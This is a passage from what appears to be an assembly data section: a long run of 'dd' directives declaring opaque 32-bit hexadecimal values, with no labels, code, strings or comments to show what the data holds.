		dd 0EE3249F1h, 2B55310Dh, 853CFE38h, 0CCB20792h, 97371350h
		dd 324CC2DAh, 191FA3BBh, 0F4C82BACh, 10380749h,	3D619D50h
		dd 0C838343h, 0C033D930h, 46F1911Bh, 6A7351F0h,	0AB1FC1F4h
		dd 980CC2F0h, 0F944F6EDh, 0EB73E0BDh, 14CF1C2Eh, 0EB93FC3h
		dd 0FC3D203Dh, 8379C2D0h, 3FB91FE2h, 257401D1h,	4C991C30h
		dd 15C503FFh, 2B8BFF28h, 0EB5912C9h, 0A1435723h, 567F0C60h
		dd 5E3E146Ah, 0E4077525h, 6EB0465h, 0FA7DC63Bh,	1AA3E60Ah
		dd 2F597225h, 5DD214A4h, 0B7BC5820h, 262137A6h,	35895614h
		dd 4389481Ch, 6A08C019h, 0BDA1E81Ah, 0B4A45D29h, 158B44A8h
		dd 52AFCDAFh, 456820FAh, 0D359283Dh, 33EA02BBh,	87B8B9D2h
		dd 0F224C21Dh, 0A2767799h, 0A5F00E64h, 0B5A7F6D3h, 9C099703h
		dd 424C2062h, 0D1181973h, 3920D467h, 0A20730E8h, 783D80B0h
		dd 19546495h, 0F1C4E905h, 808D7AC3h, 0D56E22Fh,	0EF7AD6E8h
		dd 7CA7D849h, 71B04778h, 0C752C99Dh, 1C4118E5h,	1B8F11EBh
		dd 14AD8D04h, 89130532h, 29126B62h, 13B152FAh, 0F88DEEA4h
		dd 5A087Ch, 0C1F656B4h,	549D5780h, 5D89609Ah, 94474E8h
		dd 7FFFEC6h, 800BEB10h,	0AF136E65h, 0E1B8D58Ch,	75645DF6h
		dd 0C5F6110Ah, 3905F140h, 0E2523005h, 9D41FAE9h, 4A20FA31h
		dd 0C6230F5Eh, 2DEBC32Bh, 15D5E975h, 894A2C3Bh,	62C81D4Bh
		dd 8EF9D925h, 2223A4F4h, 8F091014h, 0C4072840h,	5E4A180h
		dd 26E583FFh, 0A0200A3Ah, 41307A18h, 0BBC48E0Ah, 0EBF06689h
		dd 0A4457594h, 950CF2B7h, 43A7CC5Bh, 82BACBD9h,	48F9107h
		dd 0BFCA2300h, 0C885C8B1h, 83EB357Fh, 2AA3CB23h, 1DC2CFD3h
		dd 69373D74h, 4B113CC6h, 6E4B4603h, 7ECA02FFh, 379948F8h
		dd 2E080413h, 337FBEDEh, 22054729h, 6691A57h, 5EA1D511h
		dd 483EE90Eh, 4B840530h, 9220B907h, 0A92ED3E1h,	0C7850764h
		dd 0DC21374h, 76D4A940h
		dd 5214927Ah, 1091BA38h, 0B54140A8h, 41AACE81h,	0E4F67F10h
		dd 240295C4h, 2776F70Bh, 58150815h, 0D20A275Bh,	0C10C8BD9h
		dd 563B6CE8h, 0CF600E0Ch, 84DF3BC5h, 22EF9B4Bh,	3EEB2518h
		dd 9FC54455h, 0F04B3C7Ch, 0FAF47D06h, 325F9D08h, 9C55661h
		dd 84CE5612h, 0DB1B753Dh, 0BBCF35EAh, 4CD63098h, 6D9D0AC7h
		dd 98968BC4h, 66289C6Ah, 9854094Eh, 0C10889A7h,	0F9868508h
		dd 4F458A59h, 0CB17F372h, 7460010Ch, 0BB0B4588h, 3FF34A77h
		dd 0A0884896h, 785A7500h, 507190BCh, 0EC02F9F6h, 9C6A746Eh
		dd 0EAC18E06h, 590C25B1h, 0E7584ACh, 9FD1E881h,	0B974DDB3h
		dd 6E9C3FEBh, 0E9B52813h, 9B42FA3Bh, 30FFB489h,	0F89D1675h
		dd 161A41C0h, 612D2CCAh, 0EF2BF412h, 4959EE32h,	505D7122h
		dd 1274EC6Eh, 73A59DAAh, 19AB0C2Ah, 35E10B68h, 8F49367h
		dd 0FD0776B0h, 20F0B02Fh, 743C1AB5h, 7C507022h,	6118E487h
		dd 226528A1h, 7563B46Eh, 954B3E48h, 645627A4h, 2034A925h
		dd 0A0D8C33Ch, 1D50EBC6h, 999D561Ch, 2402531Dh,	95A0CE39h
		dd 0A35828F3h, 4E4AA444h, 96BEE124h, 24EE0595h,	0F207E8B9h
		dd 0E9349050h, 0E466BC9Fh, 5D394294h, 52087618h, 2D348E0Eh
		dd 3B208499h, 8C180838h, 0AEF140DFh, 147E6374h,	0B14B81B4h
		dd 50312F5Fh, 2E197D50h, 5ADC1DB0h, 0B0F68157h,	8C310D77h
		dd 0E157752Fh, 57572F0Bh, 14290583h, 6056E094h,	563B3A9Ah
		dd 0F725A76Bh, 5908E569h, 8D0474EEh, 51CC6525h,	56E6723Ah
		dd 38A5724Ah, 8A889677h, 564022B2h, 0B37A4B3Fh,	2F30749Fh
		dd 0FE2D50DBh, 0A7382C73h, 1CB08758h, 0F2397730h, 0C9580888h
		dd 0C1FE8D36h, 77F16512h, 32BB85FFh, 5A4250E7h,	0A3D3942Eh
		dd 81FD5ACAh, 0A3D97C89h, 38A20692h, 4D60D2Dh, 0A22F5DD1h
		dd 40B49539h, 579D15D9h, 0E552750Eh, 42573BF2h,	0E05A79BDh
		dd 0A5A2186Fh, 398A60FEh, 8949851Dh, 9ACEF83Bh,	660725F2h
		dd 382763E3h, 5FAC7201h, 96B0A2E1h, 4DC56BB8h, 428A25A1h
		dd 392A7E98h, 2F7C64E0h, 0AEC93332h, 0CBE2DF08h, 5BCEE455h
		dd 0B419AD56h, 192D9811h, 72559D75h, 15E9A41h, 0A15B93E9h
		dd 0FC84EB1Ah, 50C83E2Eh, 3F7DDCB4h, 0FF1FC44h,	0CCCA4E8Ah
		dd 0F9800301h, 30757340h, 6022075h, 0D3C2A50Fh,	0D05C41E0h
		dd 0E19E7CBFh, 0B7E29E1Fh, 0F9D2A710h, 3C08CDC9h, 73562562h
		dd 765627A4h, 0C908E032h, 61E2326Fh, 0AF2F2E6Dh, 0FFBCFE53h
		dd 20FA1616h, 463B06D0h, 2E09F9FFh, 0D307ACD5h,	0F6E68940h
		dd 1A6CB058h, 300EFF11h, 0F1A3B5Ch, 63E45D23h, 8811C350h
		dd 0BC93186Fh, 0EF2404C4h, 313CC9BEh, 8AF32E2Fh, 855BE127h
		dd 38BD5613h, 3425ED4Eh, 41AE2D3Ah, 0D0F70C8Eh,	80F9D23h
		dd 0FE0B1473h, 2FB569DEh, 0D2F9F7F0h, 5D4A8977h, 86E7D6Ch
		dd 6BF72E86h, 49CE5E50h, 59156157h, 25BCB3C6h, 54C155A6h
		dd 6A962057h, 12581032h, 63EEE204h, 8B0E73ABh, 0BC1008DCh
		dd 18920C0h, 6712AE04h,	9D17250h, 2CBB70Fh, 7FBED1DEh
		dd 0ABBFEAA5h, 0BDD68A21h, 1F89A628h, 0C30F1BF5h, 8112214h
		dd 75D6D4A0h, 0C71D0B71h, 0C55D07EBh, 88010313h, 5ECF2301h
		dd 4C3B0570h, 8D6F18CDh, 4D41CDB4h, 5D5F6E80h, 5B10C7F6h
		dd 78425AABh, 7B568A92h, 85B37225h, 0BE98A38Ah,	1811044h
		dd 0EA84C714h, 41A2488Dh, 4CBACB8Bh, 0BE43CA88h, 1E61D2Fh
		dd 3B259BB0h, 7507A3CEh, 73F84C0Dh, 3A0A0837h, 5A044686h
		dd 0C62AD0B7h, 4F0C745Fh, 67551C2h, 3A7D560Bh, 505EC214h
		dd 8B068341h, 3110484Bh, 201809D2h, 49C9F255h, 1E67621Fh
		dd 0FA16CD10h, 0CA2B1781h, 21FFC983h, 85D2F8FFh, 75B01407h
		dd 0FED0461Ch, 3D117D03h, 66F8048Dh, 1C0E9638h,	23C5C07Ah
		dd 0BC49F27Ch, 0A63AF55Eh, 5A12F25Dh, 4FF55020h, 2BEA4D45h
		dd 2EB32806h, 55591F36h, 0A05890A4h, 2FE83799h,	1C440E51h
		dd 1C784E1Ah, 4BAC7739h, 2FC80140h, 0EF84EE3Ah,	950BEB04h
		dd 0F6F129E7h, 62D2EB9Dh, 0C9EBF095h, 10F759BAh, 0C2015F0Fh
		dd 995EC3CFh, 3BC8B499h, 14207D8Dh, 0EB8AD25Eh,	82A15813h
		dd 0A2B1124h, 0CE8B5AF2h, 58512BCh, 0A843215Eh,	0B2148E78h
		dd 0E8547EDh, 4E0F0857h, 0E9FC504Ch, 82E6B9A2h,	9C85DF2Ch
		dd 0F8B99021h, 0C14E3B40h, 0FF0A9A94h, 82149DC8h, 0A3AC4ADAh
		dd 7C144E6Bh, 8D26085Bh, 0BE38D854h, 34248930h,	4A820601h
		dd 755EF575h, 0CFA6DB12h, 5F5C02ABh, 0FAA9D3A3h, 420D2650h
		dd 2AF92341h, 9465B525h, 9629C939h, 5D5B530Bh, 84990804h
		dd 4FE3BFA9h, 0C83FCF41h, 0D8AA0C67h, 0D454EB5Fh, 2BE62E80h
		dd 0BFD6F8DAh, 23C82301h, 23DB56CEh, 3E0BE837h,	25D720ADh
		dd 6DC2CB18h, 3C7C4E8Bh, 7530EE22h, 6AF498DCh, 755B7602h
		dd 59080FF7h, 3B21E6C1h, 570F7CDFh, 0A073FFC2h,	105A0418h
		dd 67EBD30Dh, 0E02BBD31h, 0E9EA4B76h, 0E05A79FCh, 18B200A8h
		dd 24C8515Fh, 0A480FEAh, 3089D9E9h, 6AD42FEAh, 0C0632BFh
		dd 300206F4h, 10B484E1h, 0B1AFE381h, 2AEBD9B1h,	0FF1124EEh
		dd 0FB241618h, 0AFC04B01h, 0A0BB76D4h, 3325F4E5h, 3F5256F6h
		dd 0BF5F24DFh, 0D6297F36h, 0BB94FB24h, 53E992A0h, 0EF5B12C1h
		dd 2DB7B14Dh, 0A90877C8h, 0BA141F22h, 11265E2h,	4008FC43h
		dd 4F582BE6h, 2AF14C4Bh, 0A9441D0Ch, 3CEB0159h,	3F7FD83Bh
		dd 2F54212Bh, 3191C6D9h, 0F0136B76h, 4BAE52E8h,	1AFDD4C4h
		dd 1167C286h, 59529424h, 0E9988320h, 3B471D7Ch,	1728951Fh
		dd 5A31562Ah, 1257E50Ch, 8B216D10h, 73341477h, 0A2374803h
		dd 0AA52E91Fh, 8025C11Fh, 407FF765h, 0E8F30322h, 0D9FE4925h
		dd 0A0C1A466h, 7F38C49Eh, 0C0948510h, 1BD9F7C5h, 945EC958h
		dd 0F10B1C30h, 9D574ADh, 0ED0D40FFh, 0F836242Eh, 0E798509Fh
		dd 0C20A6F20h, 5752024h, 1831E92Fh, 0BC38686Ch,	6971274Dh
		dd 52FC8245h, 1A502CD9h, 25A46C23h, 0F292FDCBh,	0DAFB7E2h
		dd 0BD8FD595h, 9289EB73h, 0CCBA0C04h, 0C953240Ch, 1E90F22Dh
		dd 0BFD39543h, 38ADD777h, 0C0DE4AF5h, 7017E54h,	853006C6h
		dd 94C7F7DBh, 0FBC3FA1Fh, 0D5BACC33h, 0B5C3BE65h, 2041AABEh
		dd 10885A30h, 1AC5F8B7h, 6FE97508h, 50988CF7h, 3A12777Ch
		dd 0DA73539h, 44EF4EF8h, 0B203FADFh, 87FEF5EBh,	0F313EC3h
		dd 442FF18h, 8AF41289h,	0D3BD6A13h, 0AFF6814Eh,	0B7100886h
		dd 56128A67h, 0AC57FDB0h, 814F709Dh, 3743FE59h,	3C3068A1h
		dd 580C4FADh, 388B4111h, 66B9A5FCh, 0C1A8E897h,	0B258A304h
		dd 83187C2Fh, 7F320587h, 0B506715h, 0DABFD75Fh,	54B33E2Eh
		dd 5CDBC70Bh, 9340D32h,	5E1C84B8h, 32B3DDFAh, 3663D58h
		dd 0FFBF0642h, 4F8C4807h, 44CF2526h, 23F1C1C1h,	0BC2465CFh
		dd 124C732Eh, 0BED918D0h, 0B52580FBh, 0CF0B45CAh, 74E4027Fh
		dd 28E8F413h, 4FB97028h, 0BF95D23Ch, 21EEE964h,	124784B4h
		dd 0D44BD347h, 1E74A718h, 0F20C6646h, 4E4B64EBh, 0FB845301h
		dd 58AE8AC6h, 0B380815h, 6B43C8B7h, 0E2CF840Fh,	9352AF76h
		dd 56CECB09h, 31D3B24h,	0C1DA00C9h, 0D90B1FEBh,	120C8D0Ah
		dd 810B4089h, 0A60B74C7h, 0DFEB09B3h, 0CF0B13A3h, 8489A12h
		dd 2CB89ECh, 17930404h,	129D6FADh, 8875FD06h, 290E6414h
		dd 622DE9D0h, 60A14ADEh, 2BA4EAA9h, 6A408214h, 5BD6CCDFh
		dd 16191009h, 5E2B494Fh, 6817C2D0h, 5A92470Ch, 0FA3251Ch
		dd 358DC318h, 0AD120D0Fh
		dd 145009C8h, 1826CB6Dh, 74C95166h, 3638C2F6h, 71C8211Ch
		dd 5397787Ah, 6AC33414h, 0EED2E80Ah, 0B9B26BDFh, 0A22A1187h
		dd 92033C80h, 0F6426FEBh, 0D2BC203Dh, 5E0B7E70h, 5EC9207h
		dd 51C30E82h, 3389E87Eh, 2FD478EDh, 50B9C68h, 2D791AF0h
		dd 1DB09AABh, 436ED410h, 0E809110Dh, 197D12B3h,	4470F55Ah
		dd 706888F6h, 0A05BBBA6h, 840F1D20h, 26026412h,	0D8B20A1h
		dd 6B0DC0C4h, 39663CC0h, 15B62D34h, 0A35A9E01h,	8D94D368h
		dd 0C05F5215h, 0F66BF1C9h, 0C6033C15h, 0A476614h, 1B740CFFh
		dd 3B0F18A1h, 121AC579h, 5750C12Bh, 0C407688h, 0EB1170A3h
		dd 2D51A2B0h, 450CBF10h, 8B3D453Fh, 50F3A435h, 3F6A550Bh
		dd 610866BFh, 685333F4h, 57BB9774h, 0FCC02DAEh,	6C683911h
		dd 0A114E558h, 60800C1Eh, 0A408923Fh, 4520550Bh, 545A3F06h
		dd 8FC83AF8h, 6A9FCB20h, 0E83E080Fh, 0A10DC82Fh, 3442A6F8h
		dd 0C71D2FE9h, 26420C4Dh, 0AC1CA188h, 50112CB2h, 7742094Dh
		dd 59B5BC66h, 396B491h,	676EE81Bh, 97362A62h, 0FA71C466h
		dd 0F36B4A85h, 0A3C514A4h, 0E2F34B1Ch, 4910225Ch, 0E6975175h
		dd 7BF2C4B3h, 0A52188FEh, 9365FCAFh, 0DBEEA1C4h, 5A2DDF27h
		dd 5F4631CEh, 8B6D5B94h, 230B3CBh, 75C96936h, 894BF278h
		dd 0C25EBFB2h, 1EC02B1Dh, 7C3CC33Ah, 7F390107h,	0EFEB4603h
		dd 759E62BEh, 2D5C324Eh, 598A442Ah, 38A278Bh, 2BC82FC8h
		dd 2308F351h, 6E140289h, 0FD3B1828h, 0A4D9F7C4h, 0CE2B519h
		dd 4991C42Ah, 0B920F47Eh, 0E82A43ACh, 27A6DEC2h, 0B612E38Ah
		dd 0C5356C8Ah, 979FA820h, 0AB5A34AAh, 4A375D10h, 4C22F0E2h
		dd 0D9A0A4B4h, 46095B77h, 90053B14h, 0C80C755Fh, 1CA81010h
		dd 5A3D026Dh, 18672D22h, 142C08CCh, 23160D09h, 3C665135h
		dd 9045082Ah, 1199141Eh, 84101C12h, 15C8D998h, 1357940Ch
		dd 901B0E29h, 5350810Ah, 145814EBh, 0D315A657h,	5181FB4Ch
		dd 6041010Eh, 0D073C205h, 0B4C52C33h, 25501532h, 0BE0899C0h
		dd 3284BC1Ch, 0B8152875h, 130A5725h, 0B6641BBAh, 4904EB24h
		dd 0E3BB5753h, 0EB2C0A8Ah, 57C51F42h, 218A2037h, 0DDEB9E3Eh
		dd 54860235h, 0C7534E08h, 90FC4C07h, 0DD125FD0h, 0AF100516h
		dd 647B8844h, 3208AB58h, 14A10DD4h, 1C4EEC0Bh, 7DD03B0Eh
		dd 0FCA801Eh, 0BDFEBF8Ch, 8FC18F6Bh, 0CA0841B7h, 1228BE7Eh
		dd 0C3B21A7Dh, 7C14C674h, 7F2024F6h, 87E28F2h, 4795452Ah
		dd 4AAB95Dh, 60414C4h, 0E569061Eh, 38F38CF5h, 330F1275h
		dd 86C08C9h, 5FC19D42h,	0F94C48Eh, 9C191821h, 0BC2EEF1Ah
		dd 8B0188A7h, 1075610h,	0FA250889h, 831AC53Bh, 0C4F3C465h
		dd 0E151C4FEh, 4186DDBEh, 5209EB2Eh, 0C92E4C0Bh, 2081F5D3h
		dd 3B6DD269h, 576E20FAh, 30C1F8C1h, 3076AF9h, 3A84E8DFh
		dd 879C5025h, 0F799285Fh, 18453B8Bh, 1C553B82h,	7000E7Fh
		dd 0FD03C22Bh, 2E40DDEAh, 0A56EBF9h, 6079480Eh,	750518EAh
		dd 0B374B538h, 0B68B0882h, 661861Ch, 3B504410h,	207ECE03h
		dd 0FA07E983h, 7E89A91Bh, 0A099EF7h, 6681850Ch,	7F801307h
		dd 40C94D03h, 17B47E7Dh, 24F9AD2Bh, 3E2C370Dh, 0BA28AA6Ch
		dd 560C8CB8h, 1262FD2Ch, 0F990A330h, 2BA955EBh,	6400B14h
		dd 2162B905h, 966E82Bh,	9F830D79h, 49A2265Ch, 11EB0DA1h
		dd 0E03E09BAh, 0B7A10E51h, 25135441h, 2D29CD46h, 0CBDA514Dh
		dd 74A3BE84h, 0BFB60FC5h, 244C134Ch, 0F19784h, 0D01C750Bh
		dd 132EBCF6h, 41A020Eh,	5A56C245h, 0FC3E231Bh, 75C450FCh
		dd 0FA25EF01h, 2484F0FCh, 684230BCh, 0EED85AECh, 0D9E98975h
		dd 9055672Fh, 0B7C4681Ch, 0AF11142Bh, 742A40A3h, 0B4526850h
		dd 0A0507811h, 286DA308h, 2CDD1A2Bh, 0CA10F94h,	0FFECB44Eh
		dd 36F9D05Bh, 2CA1F262h, 53051190h, 6C7512A2h, 530489BFh
		dd 954ED2A0h, 0EB42DF5Eh, 0EB98D7F8h, 0AF4A0F08h, 19FEF9F0h
		dd 168957E0h, 0ACBD2F77h, 0C3A4BFA4h, 0AA584E77h, 52FB6C75h
		dd 0C04B0CF4h, 2E5C771Dh, 938710DDh, 9144FA4Bh,	0D3BF4C75h
		dd 3E4B0207h, 120332EFh, 0AC9E0938h, 563F0921h,	6F7F086Ah
		dd 24750985h, 40FA4C7Fh, 619F821Bh, 52388530h, 8BEB1909h
		dd 824942DEh, 7566EE27h, 725D271Ah, 0EB561573h,	0F52FB1ECh
		dd 0B03B505h, 0B1DD5E94h, 0A0F44C0h, 0C440F62Fh, 0E80D313Bh
		dd 0B67B6182h, 470114B7h, 7C140ABCh, 96BF2417h,	0BB1AB034h
		dd 590D2133h, 85FB2483h, 0BCB7DCEEh, 96497395h,	1018A2B8h
		dd 0BF4B6C09h, 5333E4Bh, 8CAA1D6Ch, 9F8415F6h, 0F6E1F973h
		dd 0F4E6C844h, 4AF9112Ah, 0E9C1D6C4h, 2C3BD7DCh, 0DD9D08E5h
		dd 0F5636312h, 6CC43121h, 558AD62Ah, 452B46A5h,	0A86F7EFCh
		dd 5C8D8F88h, 0D2AFF017h, 0EDAB016Dh, 16D0135Fh, 0AF0BAA66h
		dd 0A60C8E8Ch, 0F83B1693h, 0C76D057Dh, 7C2A2750h, 0D956643Eh
		dd 8741552h, 0EB180F4Ah, 54E2B3D7h, 0A255E4Ch, 0F05AC9FCh
		dd 20919DD7h, 0F89DAD5Ch, 7D4027DEh, 112522E2h,	0C925932h
		dd 1ED9E2A3h, 5909FF2Dh, 0F70324F1h, 5BF61BDEh,	6532AC08h
		dd 45291548h, 0AC24353Eh, 203E9004h, 0D6F42408h, 5FC6C095h
		dd 34B70DEBh, 499FBE17h, 7C2F2174h, 8DC063C8h, 88E132A2h
		dd 0DAC1FA72h, 5C582E73h, 255E1033h, 0B1550A89h, 922A7C85h
		dd 7FF437DEh, 0DBA7CB1Dh, 8D178B3Fh, 6FD8C489h,	0E82B30FEh
		dd 39F14B7h, 1720DEAEh,	91E977FEh, 38F79F31h, 8C87C4BBh
		dd 562D31B7h, 2D30BC9Eh, 0CE162BD8h, 0EBF603h, 0C13F34C5h
		dd 0B3F1FE9h, 60B84AF1h, 709FD73Fh, 49EA5F04h, 1A57E1D1h
		dd 502E39B5h, 5E6536BFh, 86CFC5F2h, 0E90C3AECh,	1D89CE0Bh
		dd 0DFE7F808h, 9BEA9F19h, 407356CFh, 75BA5AD7h,	49931788h
		dd 4DD3336h, 31AC56F8h,	1C404E10h, 538C1389h, 12080604h
		dd 0FB575176h, 8DF3B440h, 0E3A5F07Dh, 70E898FFh, 1A6691FFh
		dd 52DD0D6Ah, 0A902F477h, 0D4145A10h, 7AB6AE42h, 80BE0F1Bh
		dd 2F213C42h, 1C7C91E1h, 0B83C5AD7h, 0B675181Bh, 0DE395FC8h
		dd 0AE2817ACh, 1C1534Bh, 4389104Ch, 9EC7A845h, 0CFAFEEB7h
		dd 4AD2B4E1h, 811F0194h, 7330FFD1h, 0D3EB03FEh,	6789BE5Bh
		dd 106424F3h, 3D97B6A4h, 0F91C15EBh, 0DBE2665Bh, 4A80AE5Eh
		dd 5C71DC0Ah, 642C649Fh, 0B8A4EE10h, 3B814AAEh,	0F22B5AC0h
		dd 7AE827FBh, 208B837Ch, 0E040DC06h, 2D081D4h, 0FF804E4h
		dd 5D5EFAECh, 74207668h, 0A8090BCEh, 40FA390Ah,	29B80D05h
		dd 0E7EB4700h, 8A5E046Ah, 56BB01Fh, 870F0BF8h, 24AEA477h
		dd 56928513h, 0FB803400h, 0C20C7C31h, 77F390Ah,	1DE9B1C0h
		dd 7D3A31C9h, 1E3F689Bh, 9F46A205h, 2B034CD9h, 8F481E74h
		dd 88FB0E44h, 24AD4B0h,	374C77F6h, 0A4D85B50h, 0EB5812CEh
		dd 561BFFA7h, 9E123421h, 0F0A2039Fh, 0A514057Ch, 934BAE7Eh
		dd 0B6BC5008h, 31678A22h, 2C542D0Ah, 5248300Fh,	8E0F4301h
		dd 18400289h, 81127E45h, 7B1C9063h, 8F2665CFh, 6A0B1372h
		dd 27C8E906h, 0B874FCFh, 148EC087h, 0B209C8A6h,	9A4A564Ch
		dd 0B4595831h, 940C9D19h, 518B47B5h, 21B0BFC2h,	0C41539FDh
		dd 7E7E3FC9h, 44C3169Dh, 16A1D5B1h, 5A0172C0h, 0A80E4EEBh
		dd 0D4FEF553h, 0ECD613B0h, 73190802h, 0CDF62510h, 30EB8086h
		dd 0B13EF30Ch, 35D53EF1h, 0B7D22A5Fh, 75670B72h, 0BEC29884h
		dd 0BFDBCFF8h, 75DC060Dh, 6AD6EF0Dh, 0F3282501h, 8D647168h
		dd 11321CE4h, 0E88BDA34h
		dd 94B94704h, 0AD40823h, 44122D66h, 0D568E901h,	0ED4D5EEFh
		dd 8D036118h, 0DEC4D5CBh, 57FA00B5h, 91FE4F8Dh,	2BA3248Ch
		dd 7744128Ch, 649018C8h, 60190DCh, 65EB086Ah, 0CDE052B2h
		dd 18830529h, 8C0F67F6h, 0D4AFF248h, 0E98F186Ch, 0C60AEB13h
		dd 210E7C29h, 6A097F1Ch, 0E94F5881h, 7523FDB8h,	0EB447505h
		dd 8346BEC1h, 0CDB52A74h, 0BFBBFFDAh, 0C01435DBh, 25E6A2AFh
		dd 8337F683h, 89E95807h, 81085E44h, 4F0A3C84h, 0A17580CCh
		dd 0E91195A5h, 0DF25A46Fh, 1B8834BCh, 338BD8BEh, 0EB9F64Eh
		dd 1AA017F1h, 11551C8Bh, 0CCCFB66Fh, 50FE8102h,	7F1437FCh
		dd 2DBECEC3h, 846F1951h, 0CD4A784Dh, 47A49F46h,	3B4FD038h
		dd 0E3742B42h, 7E3219ACh, 0D9A48438h, 58186A41h, 76A82039h
		dd 7D801500h, 37C05BBh,	0D7DAF7FEh, 48F46B90h, 0EB7F219Ah
		dd 122013D2h, 0D2A5860Fh, 0C2E7B155h, 0CBBF665Dh, 447FF237h
		dd 86A45A53h, 6A5EF08Eh, 0A0C110D4h, 0D53FC933h, 7D1500E2h
		dd 3D8F702h, 0E01448D9h, 10909561h, 78DC2018h, 3D1C292Bh
		dd 307E0BC2h, 0BFA04677h, 1AD6D36Ah, 0CE5506B3h, 65D448C8h
		dd 0DB336004h, 4A70B9B8h, 736192C9h, 0A2B3177Bh, 3D5E0EEFh
		dd 7DBC98B0h, 0AAFEBF09h, 0E4349E6Fh, 0C9BFACAEh, 79D672A4h
		dd 0C292C855h, 0CA31C610h, 0ADB5EBFBh, 0F69F4172h, 0AB2B96BDh
		dd 493320Ah, 0F22E1511h, 170F2911h, 4D618768h, 0E3600B08h
		dd 71891C5Fh, 259CB06h,	0A419A83h, 0A2EC922Eh, 0A15C1197h
		dd 3B0C52D7h, 400109AAh, 86892B53h, 3322FD12h, 487D0454h
		dd 22E1915Ch, 7E9745CBh, 0D2168F64h, 499FB3FCh,	27F1BEC8h
		dd 90456427h, 85660EB8h, 0CB257C9h, 0E508CC23h,	0E712E689h
		dd 0E948E824h, 0EB22EA91h, 88EDEC44h, 0EF80FBEEh, 0DF5BB73Fh
		dd 0FBD092h, 2D0243DDh,	0DD304EBh, 0C20C27E0h, 1E75D298h
		dd 1A5AB378h, 15E513A1h, 0E12383F8h, 20081946h,	40C0103h
		dd 6BFEE930h, 8483B566h, 7B3DB87Ah, 2EC73480h, 0DEFAB8B1h
		dd 0F70F63B3h, 405C2BFEh, 0E86816FBh, 46EBBA81h, 15749750h
		dd 6529B781h, 2220745Eh, 68282EECh, 0F641AE0h, 61272367h
		dd 9AD8681Dh, 8FB48D23h, 0AC67C972h, 0B505D160h, 6EE97810h
		dd 0D068D3C5h, 66EB1D61h, 0E8EB0618h, 0B7480FE1h, 80CF2594h
		dd 6918E922h, 1E105AC0h, 8EE4555h, 34A2AF66h, 4E0C8D09h
		dd 0FA555E00h, 4D76C96Bh, 9FF67D3Eh, 0EDCB01B4h, 259DD2BCh
		dd 25F0FEC1h, 0BF0FF209h, 0FF3A89C6h, 0C7E85868h, 809971B5h
		dd 0FA7D8166h, 724B3FFFh, 46E42105h, 38E1921h, 86E3EC3Bh
		dd 2E900118h, 0C677433h, 36D147Dh, 7F027C9Eh, 0FAF1E908h
		dd 8322CF86h, 8EDF158Bh, 865F8AE6h, 57FA7509h, 1B3F9C84h
		dd 8191D5FBh, 0B82B081Ch, 5DE8C2DFh, 4D7BE8F8h,	7559161Ch
		dd 175BB0F1h, 81DEF709h, 7E0410E6h, 6E1DA90Dh, 362C4E13h
		dd 115F3F3h, 2251DAh, 507E1C9Ah, 147DFAB0h, 0C8F07539h
		dd 0D1A53812h, 1AE8D825h, 5037F84Eh, 94A1195h, 0A6C29F08h
		dd 0FB1699F7h, 7B8A139Eh, 0EECA8B34h, 44F417C4h, 3E0A9404h
		dd 188E041h, 0C1B6752Fh, 62618A8Dh, 0F98098CBh,	4B8D0035h
		dd 3B307C04h, 0F4F72C1h, 21064592h, 3EF1EB48h, 4240A5D2h
		dd 808E634Fh, 0EC2CC32Ah, 0B0549088h, 80C00508h, 0BB041864h
		dd 6164EACAh, 0DE30090Ch, 5BF4996Fh, 0DC0436D9h, 63803082h
		dd 0B05A5D05h, 67FBD35Bh, 0D8C77667h, 9597432h,	0D0E97D46h
		dd 0F2030341h, 2A0A843Ch, 18ED060Fh, 9EB27B2Eh,	8B16F822h
		dd 95C23C35h, 0EB0583B8h, 381A2134h, 2720C23Ah,	84754042h
		dd 0E8571A0Ah, 70192DCFh, 41CEC070h, 38900BEFh,	26059034h
		dd 64257E83h, 41AB6B75h, 7258BE62h, 5DE4E813h, 508C6FC7h
		dd 0EEF94A3Bh, 4B0BE508h, 1D0A24FDh, 25D822FEh,	361A068Eh
		dd 1529615Fh, 0FEFD943Fh, 298C1832h, 0BF082605h, 398EEFC9h
		dd 2B1AA128h, 0AD04D6C1h, 56E7A0Dh, 148D1E7Dh, 7591B840h
		dd 0D5F2954Fh, 0C2102220h, 0EB1E490Ch, 4B20D407h, 53F90E27h
		dd 0EA1D644h, 0F7E21D6Bh, 4678AAEFh, 82A0A13h, 4BB77B89h
		dd 88A3DA16h, 5B12AF29h, 53F95613h, 421C8CB2h, 3905A016h
		dd 0F490C950h, 9DA54FEh, 0C455FC14h, 8F825D0h, 9C2B24Fh
		dd 23657457h, 0EB391B06h, 821B5068h, 3AB25E8h, 5014DFF9h
		dd 89369A1Eh, 0AF5FDC91h, 0FB3E2885h, 0FBE5BC5h, 0F8E959FFh
		dd 2F9269D7h, 0C0CB4130h, 59C73B1Fh, 22C01776h,	3D383C80h
		dd 0FF0F4E75h, 7F2CF209h, 0CE22013Ah, 0E14304C6h, 448D3805h
		dd 99BF0138h, 93CF2EABh, 0A95A7312h, 5454E70Dh,	84C8A06h
		dd 3E72699Dh, 0A4A2E5E7h, 16092534h, 7524C3EDh,	7FE16801h
		dd 7C810DEBh, 45D616ADh, 0B911BFBFh, 0ECA44AC9h, 660A1C88h
		dd 3273B25h, 9657DFC2h,	0AEB2F10h, 0E5B76C36h, 4844AD51h
		dd 4B28667Eh, 81B48E0Ah, 0BE9CEC16h, 4626C7E4h,	0BAF9320Ah
		dd 330E0F52h, 42C223F8h, 83E781CAh, 503D667Eh, 9201C324h
		dd 830F17E8h, 81B421B8h, 1622B2F9h, 0FDFA18ADh,	8723BF7Bh
		dd 3F173DA2h, 2ECCF977h, 0EC3AAD3Ah, 957F028Ah,	0CFFE2662h
		dd 60C65616h, 4639242Ch, 6D0B1D8Ch, 0E90D26FEh,	20A55B6Fh
		dd 1E94637Eh, 1953201Fh, 3A433916h, 7103D511h, 15BC2ADAh
		dd 0E9068B9Dh, 1A2D6AF4h, 0F4982BE7h, 50C0886h,	3208B98h
		dd 3A7497C0h, 0EA497E0Ah, 8138F26h, 0BB9FB4B8h,	64D54D25h
		dd 1218DABCh, 633F8DCh,	0C1AFB109h, 83FC188Eh, 5051C0BCh
		dd 9CE831FFh, 372F35Fh,	7D96CA06h, 256EFACh, 0F4746DE8h
		dd 0E819E3B0h, 0FC1AC875h, 18B012B6h, 7F590C50h, 92819C28h
		dd 88C0022Eh, 7E52824Bh, 0E7BEE025h, 0DFC5A280h, 0B5D4E891h
		dd 20B23B8Fh, 527F1E44h, 392907E2h, 0E60EA216h,	0D4E5B82Bh
		dd 133921Eh, 7CAE8B0Ah,	7412DC78h, 0E3EAFF03h, 83C13253h
